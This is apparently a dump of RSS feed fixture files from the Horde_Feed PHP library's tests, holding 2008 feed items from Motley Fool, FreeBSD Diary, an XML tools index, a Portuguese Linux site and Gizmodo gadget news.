src="http://feedproxy.google.com/~r/usmf/foolwatch/~4/S2gg6UJg4hg" height="1" width="1"/>Sat, 20 Sep 2008 08:00:41 EDThttp://www.fool.com/investing/high-growth/2008/09/20/great-stocks-the-street-misses.aspxhttp://www.fool.com/investing/high-growth/2008/09/20/great-stocks-the-street-misses.aspxThe Fool's Look Aheadhttp://feeds.fool.com/~r/usmf/foolwatch/~3/ZISLBDaua9w/the-fools-look-ahead.aspxWheels, walking, and walkthroughs will rock your world next week. <p><a href="http://feedads.googleadservices.com/~a/FcZM6iUCZ_0H-IY83apAN1757-A/a"><img src="http://feedads.googleadservices.com/~a/FcZM6iUCZ_0H-IY83apAN1757-A/i" border="0" ismap="true"></img></a></p><img src="http://feedproxy.google.com/~r/usmf/foolwatch/~4/ZISLBDaua9w" height="1" width="1"/>Sat, 20 Sep 2008 08:00:30 EDThttp://www.fool.com/investing/general/2008/09/20/the-fools-look-ahead.aspxhttp://www.fool.com/investing/general/2008/09/20/the-fools-look-ahead.aspxA Fool Looks Backhttp://feeds.fool.com/~r/usmf/foolwatch/~3/Y37TLc5qpkM/a-fool-looks-back.aspxBroken deals, busted IPOs, and botched bankruptcies belted the market this past week. <p><a href="http://feedads.googleadservices.com/~a/bHxPhUJGxsxn02M_wh5gwVcQiVw/a"><img src="http://feedads.googleadservices.com/~a/bHxPhUJGxsxn02M_wh5gwVcQiVw/i" border="0" ismap="true"></img></a></p><img src="http://feedproxy.google.com/~r/usmf/foolwatch/~4/Y37TLc5qpkM" height="1" width="1"/>Sat, 20 Sep 2008 08:00:28 EDThttp://www.fool.com/investing/general/2008/09/20/a-fool-looks-back.aspxhttp://www.fool.com/investing/general/2008/09/20/a-fool-looks-back.aspxThe Stock Screaming "Buy Me!"http://feeds.fool.com/~r/usmf/foolwatch/~3/5MUAEks76aE/the-stock-screaming-buy-me.aspxIt's the most important stock you can own. <p><a href="http://feedads.googleadservices.com/~a/5L4_vEfU7IA1nV187oMKlMJg5r0/a"><img src="http://feedads.googleadservices.com/~a/5L4_vEfU7IA1nV187oMKlMJg5r0/i" border="0" ismap="true"></img></a></p><img src="http://feedproxy.google.com/~r/usmf/foolwatch/~4/5MUAEks76aE" height="1" width="1"/>Sat, 20 Sep 2008 08:00:12 EDThttp://www.fool.com/investing/dividends-income/2008/09/20/the-stock-screaming-buy-me.aspxhttp://www.fool.com/investing/dividends-income/2008/09/20/the-stock-screaming-buy-me.aspxThe Obvious Play Nowhttp://feeds.fool.com/~r/usmf/foolwatch/~3/s61wuPkxTw4/the-obvious-play-now.aspxDon't you read the papers? <p><a href="http://feedads.googleadservices.com/~a/Bn7GjydrqTW1M1uxL_gnWD-yuD0/a"><img src="http://feedads.googleadservices.com/~a/Bn7GjydrqTW1M1uxL_gnWD-yuD0/i" border="0" ismap="true"></img></a></p><img src="http://feedproxy.google.com/~r/usmf/foolwatch/~4/s61wuPkxTw4" height="1" width="1"/>Sat, 20 Sep 2008 08:00:09 EDThttp://www.fool.com/investing/general/2008/09/20/the-obvious-play-now.aspxhttp://www.fool.com/investing/general/2008/09/20/the-obvious-play-now.aspxDon't Kill Our Dividendshttp://feeds.fool.com/~r/usmf/foolwatch/~3/9szAAaba10Q/dont-kill-our-dividends.aspxThe door to dividends must be kept open. <p><a href="http://feedads.googleadservices.com/~a/4Vu_Y5EVVIqFz80SfhOy8lCij2w/a"><img src="http://feedads.googleadservices.com/~a/4Vu_Y5EVVIqFz80SfhOy8lCij2w/i" border="0" ismap="true"></img></a></p><img src="http://feedproxy.google.com/~r/usmf/foolwatch/~4/9szAAaba10Q" height="1" width="1"/>Sat, 20 Sep 2008 08:00:07 EDThttp://www.fool.com/investing/dividends-income/2008/09/20/dont-kill-our-dividends.aspxhttp://www.fool.com/investing/dividends-income/2008/09/20/dont-kill-our-dividends.aspxDrop-Dead Gorgeous Stockshttp://feeds.fool.com/~r/usmf/foolwatch/~3/CbSHNb22Dwo/drop-dead-gorgeous-stocks.aspxWhat's better than a 52-week low? How about a five-year plunge? <p><a href="http://feedads.googleadservices.com/~a/tGEpHCgbynq7XL5Qo-QRv-zajXk/a"><img src="http://feedads.googleadservices.com/~a/tGEpHCgbynq7XL5Qo-QRv-zajXk/i" border="0" ismap="true"></img></a></p><img src="http://feedproxy.google.com/~r/usmf/foolwatch/~4/CbSHNb22Dwo" height="1" width="1"/>Fri, 19 Sep 2008 16:46:48 EDThttp://www.fool.com/investing/value/2008/09/19/drop-dead-gorgeous-stocks.aspxhttp://www.fool.com/investing/value/2008/09/19/drop-dead-gorgeous-stocks.aspxHow to Weather Market Panicshttp://feeds.fool.com/~r/usmf/foolwatch/~3/qtIKrkpfhTA/how-to-weather-market-panics.aspxWall Street is in panic mode. You don't need to be. <p><a href="http://feedads.googleadservices.com/~a/C1_TbYAnaFDKA7Kl5DknHp2q7eg/a"><img src="http://feedads.googleadservices.com/~a/C1_TbYAnaFDKA7Kl5DknHp2q7eg/i" border="0" ismap="true"></img></a></p><img src="http://feedproxy.google.com/~r/usmf/foolwatch/~4/qtIKrkpfhTA" height="1" width="1"/>Fri, 19 Sep 2008 16:46:11 EDThttp://www.fool.com/investing/dividends-income/2008/09/19/how-to-weather-market-panics.aspxhttp://www.fool.com/investing/dividends-income/2008/09/19/how-to-weather-market-panics.aspxStocks Worth Buying Againhttp://feeds.fool.com/~r/usmf/foolwatch/~3/4d3lH-ypBx0/stocks-worth-buying-again.aspxThey were so good the first time, we had to come back for more. <p><a href="http://feedads.googleadservices.com/~a/a4OLCbA9iS-JA4r-_Be-Lo4MGsk/a"><img src="http://feedads.googleadservices.com/~a/a4OLCbA9iS-JA4r-_Be-Lo4MGsk/i" border="0" ismap="true"></img></a></p><img src="http://feedproxy.google.com/~r/usmf/foolwatch/~4/4d3lH-ypBx0" height="1" width="1"/>Fri, 19 Sep 2008 16:43:16 EDThttp://www.fool.com/investing/general/2008/09/19/stocks-worth-buying-again.aspxhttp://www.fool.com/investing/general/2008/09/19/stocks-worth-buying-again.aspx Horde_Feed-2.0.4/test/Horde/Feed/fixtures/lexicon/http-www.freebsddiary.org-news0000664000175000017500000000472612653701626025751 0ustar janjan The FreeBSD Diary http://www.freebsddiary.org/ The largest collection of practical examples for FreeBSD! en-us Copyright 1997-2008, DVL Software Limited. gmirror - recovering from a failed HDD http://www.freebsddiary.org/gmirror-failure.php an HDD failed. gmirror to the rescue. ezjail - A jail administration framework http://www.freebsddiary.org/ezjail.php This makes jails easier Adding gmirror to an existing installation http://www.freebsddiary.org/gmirror.php Adding RAID-1 to an existing FreeBSD 7 installation ThinkPad x61s http://www.freebsddiary.org/thinkpad-x61s.php Unpacking the box, installing PC-BSD Using two monitors with X.org http://www.freebsddiary.org/xorg-two-screens.php The GeForce 8600 GT with two monitors PC-BSD http://www.freebsddiary.org/pcbsd.php PC-BSD has a lot going for it IMAP - getting Dovecot running http://www.freebsddiary.org/dovecot.php POP implies one computer. IMAP allows many. Creating multiple jails http://www.freebsddiary.org/jail-multiple.php When creating more than one jail, these shortcuts might help IBM ThinkPad T41: Upgrading RAM and HDD - pictures http://www.freebsddiary.org/ibm-thinkpad-t41-hardware-upgrades-pics.php Pictures now! IBM ThinkPad T41: Upgrading RAM and HDD http://www.freebsddiary.org/ibm-thinkpad-t41-hardware-upgrades.php Things are getting tight and slow... ././@LongLink000 152 0003734 LHorde_Feed-2.0.4/test/Horde/Feed/fixtures/lexicon/http-www.garshol.priv.no-download-xmltools-tools-rss.rdfHorde_Feed-2.0.4/test/Horde/Feed/fixtures/lexicon/http-www.garshol.priv.no-download-xmltools-tools-r0000664000175000017500000000515712653701626031657 0ustar janjan Free XML tools http://www.garshol.priv.no/download/xmltools/ An index of free XML tools. en 20050930 larsga@garshol.priv.no larsga@garshol.priv.no New product: xsd. http://www.garshol.priv.no/download/xmltools/prod/xsd.html New product: DOMIT!. http://www.garshol.priv.no/download/xmltools/prod/DOMIT.html New product: SAXY. http://www.garshol.priv.no/download/xmltools/prod/SAXY.html New version of Jaxen: 1.1beta8. http://www.garshol.priv.no/download/xmltools/prod/Jaxen.html New product: Sedna. http://www.garshol.priv.no/download/xmltools/prod/Sedna.html New version of jfor: 0.7.2rc1. http://www.garshol.priv.no/download/xmltools/prod/jfor.html New product: GXParse. http://www.garshol.priv.no/download/xmltools/prod/GXParse.html New version of SAXON: 8.5. http://www.garshol.priv.no/download/xmltools/prod/SAXON.html New version of infozone: 0.2. http://www.garshol.priv.no/download/xmltools/prod/Ozone.html New version of XOM: 1.0. http://www.garshol.priv.no/download/xmltools/prod/XOM.html New product: ElementTree. http://www.garshol.priv.no/download/xmltools/prod/ElementTree.html New product: Parsifal. http://www.garshol.priv.no/download/xmltools/prod/Parsifal.html New product: SAX for Pascal. http://www.garshol.priv.no/download/xmltools/prod/SAXForPascal.html New version of Pyxie: Unknown. http://www.garshol.priv.no/download/xmltools/prod/Pyxie.html Horde_Feed-2.0.4/test/Horde/Feed/fixtures/lexicon/http-www.gildot.org-gildot.rdf0000664000175000017500000000371212653701626025642 0ustar janjan gildot:Notcias sobre Linux... e no s! http://www.gildot.org Notcias sobre Linux... e no s! gildot http://www.gildot.org/images/topics/topicgildot.gif http://www.gildot.org Segurana Digital (I FSG) http://www.gildot.org/article.pl?sid=08/07/16/1034227 SAPO Summerbits 2008, a 1 Edio http://www.gildot.org/article.pl?sid=08/07/16/1030214 Mestrado em Open Source Software no ISCTE http://www.gildot.org/article.pl?sid=08/07/06/210207 Managing the PlayStation 3 Wi-Fi network http://www.gildot.org/article.pl?sid=08/07/02/0654232 Exploso em Data Center afecta 9000 servidores http://www.gildot.org/article.pl?sid=08/06/03/1149232 New York Stock Exchange utiliza Red Hat Linux http://www.gildot.org/article.pl?sid=08/06/02/1050230 Linux nos telemveis Nokia http://www.gildot.org/article.pl?sid=08/05/30/1734242 Lan Party Coimbra Digital 2008 http://www.gildot.org/article.pl?sid=08/05/25/1019258 Procuro Consultor de Segurana http://www.gildot.org/article.pl?sid=08/05/25/1018259 The Perfect SpamSnake - Ubuntu 8.04 LTS http://www.gildot.org/article.pl?sid=08/05/05/0747253 Horde_Feed-2.0.4/test/Horde/Feed/fixtures/lexicon/http-www.gizmodo.net-index.xml0000664000175000017500000054776012653701626025721 0ustar janjan <![CDATA[Gizmodo]]> http://cache.gawker.com/assets/base/img/thumbs140x140/gizmodo.com.png <![CDATA[Gizmodo]]> http://gizmodo.com http://gizmodo.com This is an XML content feed. It is intended to be viewed in a newsreader or syndicated to another site. <![CDATA[ Nokia E71 to Hit Flagship Stores This Week [Nokia] ]]> <p><img src="http://gizmodo.com/assets/images/gizmodo/2008/07/e71.jpg" height="225" width="131" align="left" hspace="4" vspace="2"/>We'd previously <a href="http://gizmodo.com/387763/long-awaited-nokia-e71-may-hit-on-may-8th">suggested</a> a May 8th date for the much-anticipated Nokia E71 cellphone, but it looks like the actual US launch is about to happen. Rumors are that Nokia's Flagship Store in Chicago has already got its first shipment, and has been contacting customers on the waiting list. The dual band WCDMA phone is apparently to be unveiled at a launch party this Thursday. So if you're on a list, for $480 you could be clutching the QWERTY keypad, GPS-enabled device in just 48 hours. [<a href="http://www.boygeniusreport.com/2008/07/21/e71-nam-starts-hitting-nokia-flagship-stores/">BoyGeniusReport</a>]</p> <br style="clear: both;"/> <img alt="" style="border: 0; height:1px; width:1px;" border="0" src="http://www.pheedo.com/img.phdo?i=ec9361190e5c751008289e78e217d920" height="1" width="1"/> <img src="http://www.pheedo.com/feeds/tracker.php?i=ec9361190e5c751008289e78e217d920" style="display: none;" border="0" height="1" width="1" alt=""/> <p><a href="http://feeds.gawker.com/~a/gizmodo/full?a=ZsgpXJ"><img src="http://feeds.gawker.com/~a/gizmodo/full?i=ZsgpXJ" border="0"></img></a></p><div class="feedflare"> <a href="http://feeds.gawker.com/~f/gizmodo/full?a=XeTgBJ"><img src="http://feeds.gawker.com/~f/gizmodo/full?i=XeTgBJ" border="0"></img></a> <a href="http://feeds.gawker.com/~f/gizmodo/full?a=XrfShJ"><img src="http://feeds.gawker.com/~f/gizmodo/full?i=XrfShJ" border="0"></img></a> <a href="http://feeds.gawker.com/~f/gizmodo/full?a=PhoEoj"><img src="http://feeds.gawker.com/~f/gizmodo/full?i=PhoEoj" border="0"></img></a> <a href="http://feeds.gawker.com/~f/gizmodo/full?a=vgiNGj"><img src="http://feeds.gawker.com/~f/gizmodo/full?i=vgiNGj" border="0"></img></a> </div><img src="http://feeds.gawker.com/~r/gizmodo/full/~4/342594763" height="1" width="1"/> http://feeds.gawker.com/~r/gizmodo/full/~3/342594763/nokia-e71-to-hit-flagship-stores-this-week Tue, 22 Jul 2008 10:15:00 EDT Kit Eaton http://gizmodo.com/index.php?op=postcommentfeed&postId=5027667&view=rss&microfeed=true http://gizmodo.com/5027667/nokia-e71-to-hit-flagship-stores-this-week <![CDATA[ The Beam Bed Makes Drooling on the Pillow a Divine Experience [Furniture] ]]> <p><img src="http://gizmodo.com/assets/images/gizmodo/2008/07/Beam_01.jpg" align="left" hspace="4" vspace="2" style="display:block;" />There's nothing particularly technologically innovative about the Beam Bed, but it uses a sunburst-shaped lighting and support system to emit a glorious glow that's perfect for wooing the ladies/thwarting the monsters. As we've long been scared of both said species, we're pleased to see that the furniture market is finally catering to our insecurities with no shortage of style. Now just to find some plastic "rainburst" sheets and all of our sleeping abnormalities will be cured at last. [<a href="http://www.lago.it/en/design/products/beam-bed.html">Lago</a> via <a href="http://www.lago.it/en/design/products/beam-bed.html">CribCandy</a>]</p> <br style="clear: both;"/> <img alt="" style="border: 0; height:1px; width:1px;" border="0" src="http://www.pheedo.com/img.phdo?i=7c2231aad7f1346850bfc61c0cebb86d" height="1" width="1"/> <img src="http://www.pheedo.com/feeds/tracker.php?i=7c2231aad7f1346850bfc61c0cebb86d" style="display: none;" border="0" height="1" width="1" alt=""/> <p><a href="http://feeds.gawker.com/~a/gizmodo/full?a=Nq1P4R"><img src="http://feeds.gawker.com/~a/gizmodo/full?i=Nq1P4R" border="0"></img></a></p><div class="feedflare"> <a href="http://feeds.gawker.com/~f/gizmodo/full?a=0AvcvJ"><img src="http://feeds.gawker.com/~f/gizmodo/full?i=0AvcvJ" border="0"></img></a> <a href="http://feeds.gawker.com/~f/gizmodo/full?a=tJLWDJ"><img src="http://feeds.gawker.com/~f/gizmodo/full?i=tJLWDJ" border="0"></img></a> <a href="http://feeds.gawker.com/~f/gizmodo/full?a=6AgoUj"><img src="http://feeds.gawker.com/~f/gizmodo/full?i=6AgoUj" border="0"></img></a> <a href="http://feeds.gawker.com/~f/gizmodo/full?a=oqKHej"><img src="http://feeds.gawker.com/~f/gizmodo/full?i=oqKHej" border="0"></img></a> </div><img src="http://feeds.gawker.com/~r/gizmodo/full/~4/342594764" height="1" width="1"/> http://feeds.gawker.com/~r/gizmodo/full/~3/342594764/the-beam-bed-makes-drooling-on-the-pillow-a-divine-experience Tue, 22 Jul 2008 10:00:00 EDT Mark Wilson http://gizmodo.com/index.php?op=postcommentfeed&postId=5027664&view=rss&microfeed=true http://gizmodo.com/5027664/the-beam-bed-makes-drooling-on-the-pillow-a-divine-experience <![CDATA[ NEC's Minority Report-Style Display Tailors Adverts For You (Verdict: Frankenads) [Advertising] ]]> <p><img src="http://gizmodo.com/assets/images/gizmodo/2008/07/necadverts1.jpg" align="left" hspace="4" vspace="2" width="494" height="252" style="display:block;float:none;" />It may be tired to bring up Minority Report, but remember the scenes in the movie where our hero gets bothered by interactive targeted advertising wherever he goes? Thanks to dear ol' NEC, this nightmare of advert pestering may really be in our future: its new ad display panel watches its watchers with a camera, then tailors the adverts to the audience. The 50-inch plasma's camera and software doesn't quite go so far as identifying specific people, but it does guess at age and sex and then offers you the chance to grab data on the products wirelessly to a cellphone. It'll be demoed at Fuji Television's festival in Tokyo: go along and see how irritating (or not) the future of advertising may be, if you're interested. [<a href="http://timesofindia.indiatimes.com/HealthSci/Billboards_with_eyes_find_audience/articleshow/3261313.cms">Times of India</a> via <a href="http://dvice.com/archives/2008/07/digital_stalker.php">Dvice</a>]</p> <br style="clear: both;"/> <img alt="" style="border: 0; height:1px; width:1px;" border="0" src="http://www.pheedo.com/img.phdo?i=e86378d9fd2ea701060d2f5b18922a97" height="1" width="1"/> <img src="http://www.pheedo.com/feeds/tracker.php?i=e86378d9fd2ea701060d2f5b18922a97" style="display: none;" border="0" height="1" width="1" alt=""/> <p><a href="http://feeds.gawker.com/~a/gizmodo/full?a=ok4D7n"><img src="http://feeds.gawker.com/~a/gizmodo/full?i=ok4D7n" border="0"></img></a></p><div class="feedflare"> <a href="http://feeds.gawker.com/~f/gizmodo/full?a=x0SdnJ"><img src="http://feeds.gawker.com/~f/gizmodo/full?i=x0SdnJ" border="0"></img></a> <a href="http://feeds.gawker.com/~f/gizmodo/full?a=QxsseJ"><img src="http://feeds.gawker.com/~f/gizmodo/full?i=QxsseJ" border="0"></img></a> <a href="http://feeds.gawker.com/~f/gizmodo/full?a=rOQYGj"><img src="http://feeds.gawker.com/~f/gizmodo/full?i=rOQYGj" border="0"></img></a> <a href="http://feeds.gawker.com/~f/gizmodo/full?a=sVhUFj"><img src="http://feeds.gawker.com/~f/gizmodo/full?i=sVhUFj" border="0"></img></a> </div><img src="http://feeds.gawker.com/~r/gizmodo/full/~4/342567398" height="1" width="1"/> http://feeds.gawker.com/~r/gizmodo/full/~3/342567398/necs-minority-report+style-display-tailors-adverts-for-you-verdict-frankenads Tue, 22 Jul 2008 09:45:00 EDT Kit Eaton http://gizmodo.com/index.php?op=postcommentfeed&postId=5027653&view=rss&microfeed=true http://gizmodo.com/5027653/necs-minority-report+style-display-tailors-adverts-for-you-verdict-frankenads <![CDATA[ Microsoft's "Vista Doesn't Suck" Ad Campaign Thinks Everyone Remembers The 15th Century [It Doesn't Suck, Promise] ]]> <p><img src="http://gizmodo.com/assets/images/gizmodo/2008/07/vista_flatad_01.jpg" style="display:block;" />Either that or their agency just really loves <a href="http://en.wikipedia.org/wiki/The_World_Is_Flat">Thomas Friedman</a>. Anyhow, Microsoft's $300 million campaign to return fire after Apple's <a href="http://gizmodo.com/tag/mac-vs-pc/">"Mac vs. PC" ads</a> with our buddy John Hodgman—which, like it or not, were a wildly successful campaign and definitely helped shape the public's perception of Vista—has begun with this image from microsoft.com, comparing the potential realization that Vista doesn't suck to the debunking of the flat earth theory. It took a bold voyage to the New World by one Christopher Columbus to change everyone's mind on the first one—but Microsoft is hoping a little ad campaign will do the trick to clean up the gross misconception the public (and tons of Windows users) seem to have about Vista.</p> <p>It makes sense that Microsoft is going for a more conceptual ad here, rather than tick off a list of everything that people should perceive Vista is good at (they already do that on the <a href="http://www.microsoft.com/windows/windows-vista/discover/why-now.aspx">page the ad points to</a>). I can think of a lot of other future installments, like "At one point, everyone thought witches walked among us" or "At one point, people thought they could turn lead into gold," or "At one point, people thought that it was a good idea to shit into ditches alongside the city streets." The campaign basically writes itself—why don't you guys give is a whirl. [<a href="http://blogs.zdnet.com/Bott/?p=499">ZDNet</a> via <a href="http://www.crunchgear.com/2008/07/22/flash-the-world-is-round-says-new-vista-ad-campaign/">CrunchGear</a>]</p> <br style="clear: both;"/> <img alt="" style="border: 0; height:1px; width:1px;" border="0" src="http://www.pheedo.com/img.phdo?i=9eb37a14415f37e14d3b915547fbaa02" height="1" width="1"/> <img src="http://www.pheedo.com/feeds/tracker.php?i=9eb37a14415f37e14d3b915547fbaa02" style="display: none;" border="0" height="1" width="1" alt=""/> <p><a href="http://feeds.gawker.com/~a/gizmodo/full?a=dSOqzk"><img src="http://feeds.gawker.com/~a/gizmodo/full?i=dSOqzk" border="0"></img></a></p><div class="feedflare"> <a href="http://feeds.gawker.com/~f/gizmodo/full?a=Hr7wZJ"><img src="http://feeds.gawker.com/~f/gizmodo/full?i=Hr7wZJ" border="0"></img></a> <a href="http://feeds.gawker.com/~f/gizmodo/full?a=eAgmDJ"><img src="http://feeds.gawker.com/~f/gizmodo/full?i=eAgmDJ" border="0"></img></a> <a href="http://feeds.gawker.com/~f/gizmodo/full?a=OKV0Dj"><img src="http://feeds.gawker.com/~f/gizmodo/full?i=OKV0Dj" border="0"></img></a> <a href="http://feeds.gawker.com/~f/gizmodo/full?a=W0g35j"><img src="http://feeds.gawker.com/~f/gizmodo/full?i=W0g35j" border="0"></img></a> </div><img src="http://feeds.gawker.com/~r/gizmodo/full/~4/342567410" height="1" width="1"/> http://feeds.gawker.com/~r/gizmodo/full/~3/342567410/microsofts-vista-doesnt-suck-ad-campaign-thinks-everyone-remembers-the-15th-century Tue, 22 Jul 2008 09:30:57 EDT John Mahoney http://gizmodo.com/index.php?op=postcommentfeed&postId=5027647&view=rss&microfeed=true http://gizmodo.com/5027647/microsofts-vista-doesnt-suck-ad-campaign-thinks-everyone-remembers-the-15th-century <![CDATA[ Is This the Next PSP? [Psp 3000] ]]> <p><img src="http://gizmodo.com/assets/images/gizmodo/2008/07/psp_3k_back.jpg" align="left" hspace="4" vspace="2" style="display:block;" />It's tough to make out much from these shots, but according to their source, they are of the next PSP (the PSP model 3000). The specs include a built-in microphone as well as an updated button set that replaces the "Home" button with a PlayStation button (to more closely resemble the PS3).</p> <p><img src="http://gizmodo.com/assets/images/gizmodo/2008/07/psp_3k_mic.jpg" class="center" style="display:block;" />Other than those tidbits, we have little more information on the alleged update other than that it could include "cell phone support." And from the looks of this back casing, it doesn't seem that the next PSP will be much, if any, thinner than its predecessor. [<a href="http://bbs.pspchina.net/viewthread.php?tid=275200&extra=&page=1">PSP China BBS</a> via <a href="http://kotaku.com/5027557/rumor-psp-3000-features-built+in-mic-already-in-production">Kotaku</a>]</p> <br style="clear: both;"/> <a href="http://www.pheedo.com/click.phdo?s=941ff04dd2b8eb6abe0bef022701d56a"><img alt="" style="border: 0;" border="0" src="http://www.pheedo.com/img.phdo?s=941ff04dd2b8eb6abe0bef022701d56a"/></a> <img src="http://www.pheedo.com/feeds/tracker.php?i=941ff04dd2b8eb6abe0bef022701d56a" style="display: none;" border="0" height="1" width="1" alt=""/> <p><a href="http://feeds.gawker.com/~a/gizmodo/full?a=gws2HC"><img src="http://feeds.gawker.com/~a/gizmodo/full?i=gws2HC" border="0"></img></a></p><div class="feedflare"> <a href="http://feeds.gawker.com/~f/gizmodo/full?a=U1imAJ"><img src="http://feeds.gawker.com/~f/gizmodo/full?i=U1imAJ" border="0"></img></a> <a href="http://feeds.gawker.com/~f/gizmodo/full?a=EvqiZJ"><img src="http://feeds.gawker.com/~f/gizmodo/full?i=EvqiZJ" border="0"></img></a> <a href="http://feeds.gawker.com/~f/gizmodo/full?a=FKYjrj"><img src="http://feeds.gawker.com/~f/gizmodo/full?i=FKYjrj" border="0"></img></a> <a href="http://feeds.gawker.com/~f/gizmodo/full?a=PyOawj"><img src="http://feeds.gawker.com/~f/gizmodo/full?i=PyOawj" border="0"></img></a> </div><img src="http://feeds.gawker.com/~r/gizmodo/full/~4/342545832" height="1" width="1"/> http://feeds.gawker.com/~r/gizmodo/full/~3/342545832/is-this-the-next-psp Tue, 22 Jul 2008 09:15:00 EDT Mark Wilson http://gizmodo.com/index.php?op=postcommentfeed&postId=5027646&view=rss&microfeed=true http://gizmodo.com/5027646/is-this-the-next-psp <![CDATA[ TiVo to Pimp Their Subscribers to Amazon [TiVo] ]]> <p><img src="http://gizmodo.com/assets/images/gizmodo/2008/07/tivo_logo_man-744939.jpg" align="left" hspace="4" vspace="2"/>Bad news for TiVo subscribers—the company is about to reach for new levels of advertising debauchery. If you thought those banners in the TiVo menu system were bad, know that the company is about to take things a big step further and invade actual television programming with Amazon as their partner. From the NY Times: </p> <blockquote><p>Owners of TiVo video recorders will see, in TiVo’s various onscreen menus, links to buy products like CDs, DVDs and books that guests are promoting on talk shows like “The Oprah Winfrey Show,” “The Late Show With David Letterman” and “The Daily Show.”</p> </blockquote> <p>That much is unrolling today. As for the future...</p> <blockquote><p>In the months ahead, TiVo plans to begin offering this feature to advertisers and programmers, so that the chance to buy products and have them delivered will be presented to viewers during commercials and even alongside product placements during live shows.</p> </blockquote> <p>There was no mention of an option to opt-in to the ads. </p> <p>In a completely unrelated announcement, I have two TiVo HDs for sale. [<a href="http://www.nytimes.com/2008/07/22/technology/22tivo.html?_r=1&partner=rssnyt&emc=rss&oref=slogin">NYTimes</a>]</p> <br style="clear: both;"/> <img alt="" style="border: 0; height:1px; width:1px;" border="0" src="http://www.pheedo.com/img.phdo?i=a72e196b095bf22f5f61167c078205e2" height="1" width="1"/> <img src="http://www.pheedo.com/feeds/tracker.php?i=a72e196b095bf22f5f61167c078205e2" style="display: none;" border="0" height="1" width="1" alt=""/> <p><a href="http://feeds.gawker.com/~a/gizmodo/full?a=FIfJz9"><img src="http://feeds.gawker.com/~a/gizmodo/full?i=FIfJz9" border="0"></img></a></p><div class="feedflare"> <a href="http://feeds.gawker.com/~f/gizmodo/full?a=XHjeRJ"><img src="http://feeds.gawker.com/~f/gizmodo/full?i=XHjeRJ" border="0"></img></a> <a href="http://feeds.gawker.com/~f/gizmodo/full?a=eYtNuJ"><img src="http://feeds.gawker.com/~f/gizmodo/full?i=eYtNuJ" border="0"></img></a> <a href="http://feeds.gawker.com/~f/gizmodo/full?a=KEgLcj"><img src="http://feeds.gawker.com/~f/gizmodo/full?i=KEgLcj" border="0"></img></a> <a href="http://feeds.gawker.com/~f/gizmodo/full?a=QzgBwj"><img src="http://feeds.gawker.com/~f/gizmodo/full?i=QzgBwj" border="0"></img></a> </div><img src="http://feeds.gawker.com/~r/gizmodo/full/~4/342537097" height="1" width="1"/> http://feeds.gawker.com/~r/gizmodo/full/~3/342537097/tivo-to-pimp-their-subscribers-to-amazon Tue, 22 Jul 2008 08:58:00 EDT Mark Wilson http://gizmodo.com/index.php?op=postcommentfeed&postId=5027640&view=rss&microfeed=true http://gizmodo.com/5027640/tivo-to-pimp-their-subscribers-to-amazon <![CDATA[ Garmin's New Nuvi 500 GPS Does Driving, Walking, Boating Nav in One Unit [GPS] ]]> <p><img src="http://gizmodo.com/assets/images/gizmodo/2008/07/nuvi501.jpg" height="257" width="295" align="left" hspace="4" vspace="2"/>Garmin has just announced a new member of the <a href="http://gizmodo.com/tag/nuvi/">Nuvi</a> GPS range, the 500 series. In a first for Nuvi, the rugged, waterproof 500 units are specifically designed to be multipurpose, with maps for driving, walking, cycling and boating built in. For out-doorsy types, there's a shaded digital elevation map option, and a dedicated compass page and tracklog. Plus the battery is a swappable 8-hour Li-ion type, so you can carry a spare for extended trips away from a power source. The 500 comes with City Navigator, and topographic maps of the US, while the 550 has highway coverage of the US and Canada, but no topographic data. The units are on show at the British International Motor show in London form today, and go on sale soon in the US for $499. Press release below.</p> <blockquote><p> SOUTHAMPTON, England, July 22</p> <p>Garmin the global leader in satellite navigation, today announced its first multi-use nüvi portable navigation device (PND) dedicated to walking, cycling, scootering, driving and boating in one rugged easy-to-use unit. The nüvi 500 series comes equipped with the latest technology from Garmin including NavTeq sophisticated mapping data and the ability to accept different types of mapping including TOPO for outdoor navigation and Blue Chart cartography for marine usage.</p> <p>Clive Taylor, Garmin's Director of Product, said, "The nüvi 500 series is a true chameleon in the gadget world, it extends the use of GPS across the range, from walking to cycling to driving to boating. It's ideal for individuals or families who want to go and explore the great outdoors in every way they can. With the built-in compass and integrated Wherigo(TM) and Geocaching player the sat-nav's use is extended beyond just navigating: Users can enjoy the fun of the many family treasure hunts and adventures available online."</p> <p>The new waterproof nüvi 500 series combines the latest Garmin navigation technology including Hotfix(TM), detailed NavTeq mapping, millions of points of interest (POIs) and traffic avoidance compatibility, for the times when sitting in a traffic jam is not an option. In addition, the nüvi 500 series comes standard with Garmin's popular "Where am I?" safety feature. At any time, with a single tap of the car icon, drivers can display their exact latitude and longitude coordinates, the nearest address and intersection, and the closest hospitals, police stations, fuel stations and recovery service telephone number. In addition, with Garmin Connect Photos, users can choose from millions of geo-located images provided by Google's Panoramio to photo-navigate on land or water.</p> <p>With one touch, the nüvi 500 transitions between walking, biking, driving or boating mode;</p> <p>Walking and outdoor pursuits</p> <p>Ready for the great outdoors, the nüvi 500 models display shaded digital elevation mapping on the 3.5" water-proof touchscreen. This series comes standard with a compass page, track log and a removable, rechargeable battery for extended outdoor use. The integrated Wherigo(TM) and Geocaching player means the nüvi 500 series is ideal for getting the family to enjoy the great outdoors with the many downloadable 'adventures and treasure hunts' available online. Optional TOPO mapping will give additional detailed maps.</p> <p>- Wherigo is a toolset for creating and playing GPS-enabled adventures in the real world. Use GPS technology to guide you to physical locations and interact with virtual objects and characters. http://www.wherigo.com</p> <p>- Geocaching is an entertaining adventure game where individuals and organizations set up caches all over the world and share the locations of these caches on the internet. GPS users can then use the location coordinates to find the caches. Once found, the visitor may be provided with a wide variety of rewards, all a visitor has to do is ensure that if rewarded, they leave a gift for the next person who finds the cache. http://www.geocaching.com</p> <p>Cycling/scootering</p> <p>Where the nüvi 500 series stands out is in its ability to fit comfortably on a scooter or bicycle. Its user interface is easy to control and, with directions via Bluetooth and a scooter mount as standard in select European markets or optional extra everywhere else, it's a great fit for getting around the busy town centres of Europe. The nüvi 500 series has a rugged design with UVA/B & fuel resistant material and bright clear screen that can be seen even in strong sunlight. If the weather turns and the rain comes down, its waterproof body ensures that the turn-by-turn directions get you to your destination using the most direct route and in the quickest time.</p> <p>Driving</p> <p>The nüvi 500 series' intuitive interface greets you with two simple questions: "Where To?" and "View Maps." Touch the colour screen to easily look up addresses and services and get voice-prompted turn-by-turn directions to your destination. It comes preloaded with City Navigator(R) NT map data European region or individual country. It's packed with millions of POIs and features digital elevation maps that show you shaded terrain contours at higher zoom levels. With the nüvi 500 series, you can also upload custom POIs such as 'The Good Pub Guide' and 'Falk-Marco Polos Travel Guide' offering thousands of great places to drink, eat and visit.</p> <p>Boating</p> <p>When 